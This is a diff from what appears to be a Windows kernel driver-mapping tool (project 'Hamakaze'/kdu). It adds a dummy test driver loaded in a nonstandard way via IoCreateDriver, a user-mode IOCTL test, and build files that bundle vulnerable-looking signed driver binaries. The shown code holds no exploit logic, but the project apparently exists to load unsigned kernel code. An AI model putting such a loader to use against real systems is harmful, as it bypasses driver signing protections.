* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
*******************************************************************************/
|
||||
#include <ntddk.h>
|
||||
#include "main.h"
|
||||
|
||||
/*
|
||||
* PrintIrql
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Debug print current irql.
|
||||
*
|
||||
*/
|
||||
VOID PrintIrql()
|
||||
{
|
||||
KIRQL Irql;
|
||||
PSTR sIrql;
|
||||
|
||||
Irql = KeGetCurrentIrql();
|
||||
|
||||
switch (Irql) {
|
||||
|
||||
case PASSIVE_LEVEL:
|
||||
sIrql = "PASSIVE_LEVEL";
|
||||
break;
|
||||
case APC_LEVEL:
|
||||
sIrql = "APC_LEVEL";
|
||||
break;
|
||||
case DISPATCH_LEVEL:
|
||||
sIrql = "DISPATCH_LEVEL";
|
||||
break;
|
||||
case CMCI_LEVEL:
|
||||
sIrql = "CMCI_LEVEL";
|
||||
break;
|
||||
case CLOCK_LEVEL:
|
||||
sIrql = "CLOCK_LEVEL";
|
||||
break;
|
||||
case IPI_LEVEL:
|
||||
sIrql = "IPI_LEVEL";
|
||||
break;
|
||||
case HIGH_LEVEL:
|
||||
sIrql = "HIGH_LEVEL";
|
||||
break;
|
||||
default:
|
||||
sIrql = "Unknown Value";
|
||||
break;
|
||||
}
|
||||
|
||||
DbgPrintEx(DPFLTR_DEFAULT_ID,
|
||||
DPFLTR_INFO_LEVEL,
|
||||
"KeGetCurrentIrql=%u(%s)\r\n",
|
||||
Irql,
|
||||
sIrql);
|
||||
}
|
||||
|
||||
/*
|
||||
* DevioctlDispatch
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* IRP_MJ_DEVICE_CONTROL dispatch.
|
||||
*
|
||||
*/
|
||||
NTSTATUS DevioctlDispatch(
|
||||
_In_ struct _DEVICE_OBJECT *DeviceObject,
|
||||
_Inout_ struct _IRP *Irp
|
||||
)
|
||||
{
|
||||
NTSTATUS status = STATUS_SUCCESS;
|
||||
ULONG bytesIO = 0;
|
||||
PIO_STACK_LOCATION stack;
|
||||
BOOLEAN condition = FALSE;
|
||||
PINOUTPARAM rp, wp;
|
||||
|
||||
UNREFERENCED_PARAMETER(DeviceObject);
|
||||
|
||||
DbgPrintEx(DPFLTR_DEFAULT_ID,
|
||||
DPFLTR_INFO_LEVEL,
|
||||
"%s IRP_MJ_DEVICE_CONTROL",
|
||||
__FUNCTION__);
|
||||
|
||||
stack = IoGetCurrentIrpStackLocation(Irp);
|
||||
|
||||
do {
|
||||
|
||||
if (stack == NULL) {
|
||||
status = STATUS_INTERNAL_ERROR;
|
||||
break;
|
||||
}
|
||||
|
||||
rp = (PINOUTPARAM)Irp->AssociatedIrp.SystemBuffer;
|
||||
wp = (PINOUTPARAM)Irp->AssociatedIrp.SystemBuffer;
|
||||
if (rp == NULL) {
|
||||
status = STATUS_INVALID_PARAMETER;
|
||||
break;
|
||||
}
|
||||
|
||||
switch (stack->Parameters.DeviceIoControl.IoControlCode) {
|
||||
case DUMMYDRV_REQUEST1:
|
||||
|
||||
DbgPrintEx(DPFLTR_DEFAULT_ID,
|
||||
DPFLTR_INFO_LEVEL,
|
||||
"%s DUMMYDRV_REQUEST1 hit",
|
||||
__FUNCTION__);
|
||||
|
||||
if (stack->Parameters.DeviceIoControl.InputBufferLength != sizeof(INOUT_PARAM)) {
|
||||
status = STATUS_INVALID_PARAMETER;
|
||||
break;
|
||||
}
|
||||
|
||||
DbgPrintEx(DPFLTR_DEFAULT_ID,
|
||||
DPFLTR_INFO_LEVEL,
|
||||
"%s in params = %lx, %lx, %lx, %lx",
|
||||
__FUNCTION__,
|
||||
rp->Param1,
|
||||
rp->Param2,
|
||||
rp->Param3,
|
||||
rp->Param4);
|
||||
|
||||
wp->Param1 = 11111111;
|
||||
wp->Param2 = 22222222;
|
||||
wp->Param3 = 33333333;
|
||||
wp->Param4 = 44444444;
|
||||
|
||||
status = STATUS_SUCCESS;
|
||||
bytesIO = sizeof(INOUT_PARAM);
|
||||
|
||||
break;
|
||||
|
||||
default:
|
||||
|
||||
DbgPrintEx(DPFLTR_DEFAULT_ID,
|
||||
DPFLTR_INFO_LEVEL,
|
||||
"%s hit with invalid IoControlCode",
|
||||
__FUNCTION__);
|
||||
|
||||
status = STATUS_INVALID_PARAMETER;
|
||||
break;
|
||||
};
|
||||
|
||||
} while (condition);
|
||||
|
||||
Irp->IoStatus.Status = status;
|
||||
Irp->IoStatus.Information = bytesIO;
|
||||
IoCompleteRequest(Irp, IO_NO_INCREMENT);
|
||||
return status;
|
||||
}
|
||||
|
||||
/*
|
||||
* UnsupportedDispatch
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Unused IRP_MJ_* dispatch.
|
||||
*
|
||||
*/
|
||||
NTSTATUS UnsupportedDispatch(
|
||||
_In_ struct _DEVICE_OBJECT *DeviceObject,
|
||||
_Inout_ struct _IRP *Irp
|
||||
)
|
||||
{
|
||||
UNREFERENCED_PARAMETER(DeviceObject);
|
||||
|
||||
Irp->IoStatus.Status = STATUS_NOT_SUPPORTED;
|
||||
IoCompleteRequest(Irp, IO_NO_INCREMENT);
|
||||
return STATUS_NOT_SUPPORTED;
|
||||
}
|
||||
|
||||
/*
|
||||
* CreateDispatch
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* IRP_MJ_CREATE dispatch.
|
||||
*
|
||||
*/
|
||||
NTSTATUS CreateDispatch(
|
||||
_In_ struct _DEVICE_OBJECT *DeviceObject,
|
||||
_Inout_ struct _IRP *Irp
|
||||
)
|
||||
{
|
||||
NTSTATUS status = Irp->IoStatus.Status;
|
||||
UNREFERENCED_PARAMETER(DeviceObject);
|
||||
|
||||
DbgPrintEx(DPFLTR_DEFAULT_ID,
|
||||
DPFLTR_INFO_LEVEL,
|
||||
"%s Create",
|
||||
__FUNCTION__);
|
||||
|
||||
IoCompleteRequest(Irp, IO_NO_INCREMENT);
|
||||
return status;
|
||||
}
|
||||
|
||||
/*
|
||||
* CloseDispatch
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* IRP_MJ_CLOSE dispatch.
|
||||
*
|
||||
*/
|
||||
NTSTATUS CloseDispatch(
|
||||
_In_ struct _DEVICE_OBJECT *DeviceObject,
|
||||
_Inout_ struct _IRP *Irp
|
||||
)
|
||||
{
|
||||
NTSTATUS status = Irp->IoStatus.Status;
|
||||
UNREFERENCED_PARAMETER(DeviceObject);
|
||||
|
||||
DbgPrintEx(DPFLTR_DEFAULT_ID,
|
||||
DPFLTR_INFO_LEVEL,
|
||||
"%s Close",
|
||||
__FUNCTION__);
|
||||
|
||||
IoCompleteRequest(Irp, IO_NO_INCREMENT);
|
||||
return status;
|
||||
}
|
||||
|
||||
/*
|
||||
* DriverInitialize
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Driver main.
|
||||
*
|
||||
*/
|
||||
NTSTATUS DriverInitialize(
|
||||
_In_ struct _DRIVER_OBJECT *DriverObject,
|
||||
_In_ PUNICODE_STRING RegistryPath
|
||||
)
|
||||
{
|
||||
NTSTATUS status;
|
||||
UNICODE_STRING SymLink, DevName;
|
||||
PDEVICE_OBJECT devobj;
|
||||
ULONG t;
|
||||
|
||||
//RegistryPath is NULL
|
||||
UNREFERENCED_PARAMETER(RegistryPath);
|
||||
|
||||
DbgPrintEx(DPFLTR_DEFAULT_ID,
|
||||
DPFLTR_INFO_LEVEL,
|
||||
"%s\n",
|
||||
__FUNCTION__);
|
||||
|
||||
RtlInitUnicodeString(&DevName, L"\\Device\\TDLD");
|
||||
status = IoCreateDevice(DriverObject, 0, &DevName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, TRUE, &devobj);
|
||||
|
||||
DbgPrintEx(DPFLTR_DEFAULT_ID,
|
||||
DPFLTR_INFO_LEVEL,
|
||||
"%s IoCreateDevice(%wZ) = %lx\n",
|
||||
__FUNCTION__,
|
||||
DevName,
|
||||
status);
|
||||
|
||||
if (!NT_SUCCESS(status)) {
|
||||
return status;
|
||||
}
|
||||
|
||||
RtlInitUnicodeString(&SymLink, L"\\DosDevices\\TDLD");
|
||||
status = IoCreateSymbolicLink(&SymLink, &DevName);
|
||||
|
||||
DbgPrintEx(DPFLTR_DEFAULT_ID,
|
||||
DPFLTR_INFO_LEVEL,
|
||||
"%s IoCreateSymbolicLink(%wZ) = %lx\n",
|
||||
__FUNCTION__,
|
||||
SymLink,
|
||||
status);
|
||||
|
||||
devobj->Flags |= DO_BUFFERED_IO;
|
||||
|
||||
for (t = 0; t <= IRP_MJ_MAXIMUM_FUNCTION; t++)
|
||||
DriverObject->MajorFunction[t] = &UnsupportedDispatch;
|
||||
|
||||
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = &DevioctlDispatch;
|
||||
DriverObject->MajorFunction[IRP_MJ_CREATE] = &CreateDispatch;
|
||||
DriverObject->MajorFunction[IRP_MJ_CLOSE] = &CloseDispatch;
|
||||
DriverObject->DriverUnload = NULL; //nonstandard way of driver loading, no unload
|
||||
|
||||
devobj->Flags &= ~DO_DEVICE_INITIALIZING;
|
||||
return status;
|
||||
}
|
||||
|
||||
/*
|
||||
* DriverEntry
|
||||
*
|
||||
* Purpose:
|
||||
*
|
||||
* Driver base entry point.
|
||||
*
|
||||
*/
|
||||
NTSTATUS DriverEntry(
|
||||
_In_ struct _DRIVER_OBJECT *DriverObject,
|
||||
_In_ PUNICODE_STRING RegistryPath
|
||||
)
|
||||
{
|
||||
NTSTATUS status;
|
||||
UNICODE_STRING drvName;
|
||||
|
||||
/* This parameters are invalid due to nonstandard way of loading and should not be used. */
|
||||
UNREFERENCED_PARAMETER(DriverObject);
|
||||
UNREFERENCED_PARAMETER(RegistryPath);
|
||||
|
||||
PrintIrql();
|
||||
|
||||
DbgPrintEx(DPFLTR_DEFAULT_ID,
|
||||
DPFLTR_INFO_LEVEL,
|
||||
"%s\n",
|
||||
__FUNCTION__);
|
||||
|
||||
RtlInitUnicodeString(&drvName, L"\\Driver\\TDLD");
|
||||
status = IoCreateDriver(&drvName, &DriverInitialize);
|
||||
|
||||
DbgPrintEx(DPFLTR_DEFAULT_ID,
|
||||
DPFLTR_INFO_LEVEL,
|
||||
"%s IoCreateDriver(%wZ) = %lx\n",
|
||||
__FUNCTION__,
|
||||
drvName,
|
||||
status);
|
||||
|
||||
return status;
|
||||
}
|
|
@ -0,0 +1,75 @@
|
|||
/*******************************************************************************
|
||||
*
|
||||
* (C) COPYRIGHT AUTHORS, 2016 - 2017
|
||||
*
|
||||
* TITLE: MAIN.H
|
||||
*
|
||||
* VERSION: 1.01
|
||||
*
|
||||
* DATE: 20 Apr 2017
|
||||
*
|
||||
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
||||
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
||||
* PARTICULAR PURPOSE.
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#pragma once
|
||||
|
||||
NTKERNELAPI
|
||||
NTSTATUS
|
||||
IoCreateDriver(
|
||||
_In_ PUNICODE_STRING DriverName, OPTIONAL
|
||||
_In_ PDRIVER_INITIALIZE InitializationFunction
|
||||
);
|
||||
|
||||
_Dispatch_type_(IRP_MJ_DEVICE_CONTROL)
|
||||
DRIVER_DISPATCH DevioctlDispatch;
|
||||
_Dispatch_type_(IRP_MJ_CREATE)
|
||||
DRIVER_DISPATCH CreateDispatch;
|
||||
_Dispatch_type_(IRP_MJ_CLOSE)
|
||||
DRIVER_DISPATCH CloseDispatch;
|
||||
|
||||
_Dispatch_type_(IRP_MJ_CREATE)
|
||||
_Dispatch_type_(IRP_MJ_CREATE_NAMED_PIPE)
|
||||
_Dispatch_type_(IRP_MJ_CLOSE)
|
||||
_Dispatch_type_(IRP_MJ_READ)
|
||||
_Dispatch_type_(IRP_MJ_WRITE)
|
||||
_Dispatch_type_(IRP_MJ_QUERY_INFORMATION)
|
||||
_Dispatch_type_(IRP_MJ_SET_INFORMATION)
|
||||
_Dispatch_type_(IRP_MJ_QUERY_EA)
|
||||
_Dispatch_type_(IRP_MJ_SET_EA)
|
||||
_Dispatch_type_(IRP_MJ_FLUSH_BUFFERS)
|
||||
_Dispatch_type_(IRP_MJ_QUERY_VOLUME_INFORMATION)
|
||||
_Dispatch_type_(IRP_MJ_SET_VOLUME_INFORMATION)
|
||||
_Dispatch_type_(IRP_MJ_DIRECTORY_CONTROL)
|
||||
_Dispatch_type_(IRP_MJ_FILE_SYSTEM_CONTROL)
|
||||
_Dispatch_type_(IRP_MJ_DEVICE_CONTROL)
|
||||
_Dispatch_type_(IRP_MJ_INTERNAL_DEVICE_CONTROL)
|
||||
_Dispatch_type_(IRP_MJ_SHUTDOWN)
|
||||
_Dispatch_type_(IRP_MJ_LOCK_CONTROL)
|
||||
_Dispatch_type_(IRP_MJ_CLEANUP)
|
||||
_Dispatch_type_(IRP_MJ_CREATE_MAILSLOT)
|
||||
_Dispatch_type_(IRP_MJ_QUERY_SECURITY)
|
||||
_Dispatch_type_(IRP_MJ_SET_SECURITY)
|
||||
_Dispatch_type_(IRP_MJ_POWER)
|
||||
_Dispatch_type_(IRP_MJ_SYSTEM_CONTROL)
|
||||
_Dispatch_type_(IRP_MJ_DEVICE_CHANGE)
|
||||
_Dispatch_type_(IRP_MJ_QUERY_QUOTA)
|
||||
_Dispatch_type_(IRP_MJ_SET_QUOTA)
|
||||
_Dispatch_type_(IRP_MJ_PNP)
|
||||
DRIVER_DISPATCH UnsupportedDispatch;
|
||||
|
||||
DRIVER_INITIALIZE DriverInitialize;
|
||||
DRIVER_INITIALIZE DriverEntry;
|
||||
#pragma alloc_text(INIT, DriverEntry)
|
||||
|
||||
#define DUMMYDRV_REQUEST1 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0701, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
|
||||
|
||||
typedef struct _INOUT_PARAM {
|
||||
ULONG Param1;
|
||||
ULONG Param2;
|
||||
ULONG Param3;
|
||||
ULONG Param4;
|
||||
} INOUT_PARAM, *PINOUTPARAM;
|
|
@ -0,0 +1,34 @@
|
|||
typedef struct _INOUT_PARAM{
|
||||
ULONG Param1;
|
||||
ULONG Param2;
|
||||
ULONG Param3;
|
||||
ULONG Param4;
|
||||
} INOUT_PARAM, *PINOUT_PARAM;
|
||||
|
||||
#define DUMMYDRV_REQUEST1 CTL_CODE(FILE_DEVICE_UNKNOWN, 0x0701, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
|
||||
|
||||
VOID test(
|
||||
VOID
|
||||
)
|
||||
{
|
||||
HANDLE h;
|
||||
INOUT_PARAM tmp;
|
||||
DWORD bytesIO;
|
||||
|
||||
h = CreateFile(TEXT("\\\\.\\TDLD"), GENERIC_READ | GENERIC_WRITE,
|
||||
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (h != INVALID_HANDLE_VALUE) {
|
||||
|
||||
tmp.Param1 = 0xAAAAAAAA;
|
||||
tmp.Param2 = 0xBBBBBBBB;
|
||||
tmp.Param3 = 0xCCCCCCCC;
|
||||
tmp.Param4 = 0xDDDDDDDD;
|
||||
|
||||
DeviceIoControl(h, DUMMYDRV_REQUEST1,
|
||||
&tmp, sizeof(tmp), &tmp,
|
||||
sizeof(tmp), &bytesIO, NULL);
|
||||
|
||||
CloseHandle(h);
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,164 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<ProjectGuid>{46C8FB0F-C8BF-4932-B84C-A10B38904728}</ProjectGuid>
|
||||
<RootNamespace>KDU</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
<ProjectName>Hamakaze</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<SpectreMitigation>false</SpectreMitigation>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<SpectreMitigation>false</SpectreMitigation>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
<OutDir>.\output\$(Platform)\$(Configuration)\</OutDir>
|
||||
<IntDir>.\output\$(Platform)\$(Configuration)\</IntDir>
|
||||
<TargetName>kdu</TargetName>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<OutDir>.\output\$(Platform)\$(Configuration)\</OutDir>
|
||||
<IntDir>.\output\$(Platform)\$(Configuration)\</IntDir>
|
||||
<RunCodeAnalysis>true</RunCodeAnalysis>
|
||||
<CodeAnalysisRuleSet>..\..\..\Program Files (x86)\Microsoft Visual Studio\2019\Professional\Team Tools\Static Analysis Tools\Rule Sets\SecurityRules.ruleset</CodeAnalysisRuleSet>
|
||||
<TargetName>kdu</TargetName>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level4</WarningLevel>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<AdditionalIncludeDirectories>$(ProjectDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level4</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<ControlFlowGuard>false</ControlFlowGuard>
|
||||
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||
<AdditionalIncludeDirectories>$(ProjectDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<DebugInformationFormat>None</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<SetChecksum>true</SetChecksum>
|
||||
<UACExecutionLevel>RequireAdministrator</UACExecutionLevel>
|
||||
<AdditionalOptions>/NOCOFFGRPINFO %(AdditionalOptions)</AdditionalOptions>
|
||||
<MinimumRequiredVersion>6.0</MinimumRequiredVersion>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="compess.cpp" />
|
||||
<ClCompile Include="drvmap.cpp" />
|
||||
<ClCompile Include="hde\hde64.c" />
|
||||
<ClCompile Include="idrv\nal.cpp" />
|
||||
<ClCompile Include="idrv\rtcore.cpp" />
|
||||
<ClCompile Include="main.cpp" />
|
||||
<ClCompile Include="minirtl\cmdline.c" />
|
||||
<ClCompile Include="minirtl\strtou64.c" />
|
||||
<ClCompile Include="minirtl\strtoul.c" />
|
||||
<ClCompile Include="minirtl\u64tohex.c" />
|
||||
<ClCompile Include="minirtl\_filename.c" />
|
||||
<ClCompile Include="minirtl\_strcat.c" />
|
||||
<ClCompile Include="minirtl\_strcmp.c" />
|
||||
<ClCompile Include="minirtl\_strcmpi.c" />
|
||||
<ClCompile Include="minirtl\_strcpy.c" />
|
||||
<ClCompile Include="minirtl\_strend.c" />
|
||||
<ClCompile Include="minirtl\_strlen.c" />
|
||||
<ClCompile Include="minirtl\_strncpy.c" />
|
||||
<ClCompile Include="kduprov.cpp" />
|
||||
<ClCompile Include="pagewalk.cpp" />
|
||||
<ClCompile Include="ps.cpp" />
|
||||
<ClCompile Include="sup.cpp" />
|
||||
<ClCompile Include="victim.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="compress.h" />
|
||||
<ClInclude Include="consts.h" />
|
||||
<ClInclude Include="drvmap.h" />
|
||||
<ClInclude Include="global.h" />
|
||||
<ClInclude Include="hde\hde64.h" />
|
||||
<ClInclude Include="idrv\nal.h" />
|
||||
<ClInclude Include="idrv\rtcore.h" />
|
||||
<ClInclude Include="irp.h" />
|
||||
<ClInclude Include="minirtl\cmdline.h" />
|
||||
<ClInclude Include="minirtl\minirtl.h" />
|
||||
<ClInclude Include="minirtl\rtltypes.h" />
|
||||
<ClInclude Include="minirtl\_filename.h" />
|
||||
<ClInclude Include="ntdll\ntos.h" />
|
||||
<ClInclude Include="kduprov.h" />
|
||||
<ClInclude Include="pagewalk.h" />
|
||||
<ClInclude Include="ps.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="sup.h" />
|
||||
<ClInclude Include="victim.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="resource.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="274.ico" />
|
||||
<Image Include="res\274.ico" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="drv\iQVM64.bin" />
|
||||
<None Include="drv\procexp.bin" />
|
||||
<None Include="drv\RTCore64.bin" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
|
@ -0,0 +1,180 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="minirtl">
|
||||
<UniqueIdentifier>{f7a995c4-ab5e-4da5-8c67-b786e28b68e0}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="Source Files\idrv">
|
||||
<UniqueIdentifier>{62c72812-4f0a-4b4e-a30d-4f7eee638cc3}</UniqueIdentifier>
|
||||
</Filter>
|
||||
<Filter Include="hde">
|
||||
<UniqueIdentifier>{3ec0ce53-a8de-4985-b6d0-dc01135c1d91}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="sup.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="minirtl\_strcat.c">
|
||||
<Filter>minirtl</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="minirtl\_strcpy.c">
|
||||
<Filter>minirtl</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="minirtl\_strend.c">
|
||||
<Filter>minirtl</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="minirtl\_strlen.c">
|
||||
<Filter>minirtl</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="minirtl\_strncpy.c">
|
||||
<Filter>minirtl</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="minirtl\cmdline.c">
|
||||
<Filter>minirtl</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="minirtl\u64tohex.c">
|
||||
<Filter>minirtl</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="minirtl\_strcmpi.c">
|
||||
<Filter>minirtl</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="drvmap.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ps.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="minirtl\_strcmp.c">
|
||||
<Filter>minirtl</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="minirtl\strtou64.c">
|
||||
<Filter>minirtl</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="kduprov.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="victim.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="idrv\nal.cpp">
|
||||
<Filter>Source Files\idrv</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="idrv\rtcore.cpp">
|
||||
<Filter>Source Files\idrv</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="hde\hde64.c">
|
||||
<Filter>hde</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="minirtl\strtoul.c">
|
||||
<Filter>minirtl</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="pagewalk.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="compess.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="minirtl\_filename.c">
|
||||
<Filter>minirtl</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="global.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ntdll\ntos.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="sup.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="minirtl\minirtl.h">
|
||||
<Filter>minirtl</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="minirtl\rtltypes.h">
|
||||
<Filter>minirtl</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="resource.h">
|
||||
